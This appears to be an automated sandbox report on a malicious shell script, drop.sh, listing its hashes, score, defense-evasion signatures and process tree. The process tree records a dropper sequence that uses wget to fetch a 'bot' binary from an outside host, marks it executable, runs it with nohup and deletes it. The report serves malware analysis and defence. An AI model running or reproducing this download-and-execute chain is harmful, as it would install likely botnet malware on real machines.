Overview

overview

7

Static

static

1

drop.sh

ubuntu-18.04-amd64

7

drop.sh

debian-9-armhf

7

drop.sh

debian-9-mips

7

drop.sh

debian-9-mipsel

1

Analysis

  • max time kernel
    125s
  • max time network
    127s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/11/2026, 09:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    drop.sh
  • Size 1KB
  • Sample261113-k9n8lasz2r
  • SHA256 f009585013cc547ee1acb1329f1996ff257ac7feb197ea296003d66af78d3a76
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasion

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/drop.sh
    /tmp/drop.sh
    1⤵
      PID:644
      • /bin/uname
        uname -m
        2⤵
          PID:646
        • /bin/rm
          rm -f bot
          2⤵
            PID:649
          • /usr/bin/wget
            wget -q -O bot http://ssh-node.hrtb.wreath.website:8070/binarys/armv7l
            2⤵
            • Writes file to tmp directory
            PID:651
          • /bin/chmod
            chmod +x bot
            2⤵
            • File and Directory Permissions Modification
            PID:673
          • /bin/sleep
            sleep 1
            2⤵
              PID:675
            • /usr/bin/nohup
              nohup ./bot
              2⤵
              • Executes dropped EXE
              PID:674
            • /tmp/bot
              ./bot
              2⤵
                PID:674
              • /bin/rm
                rm -f bot
                2⤵
                  PID:692

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    bot
                    • Path /tmp/bot
                    • Size 59KB
                    • SHA256 8bbed02f621c79522f896875b0541bc9fcb083d4de8048382836820b4f94059a
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download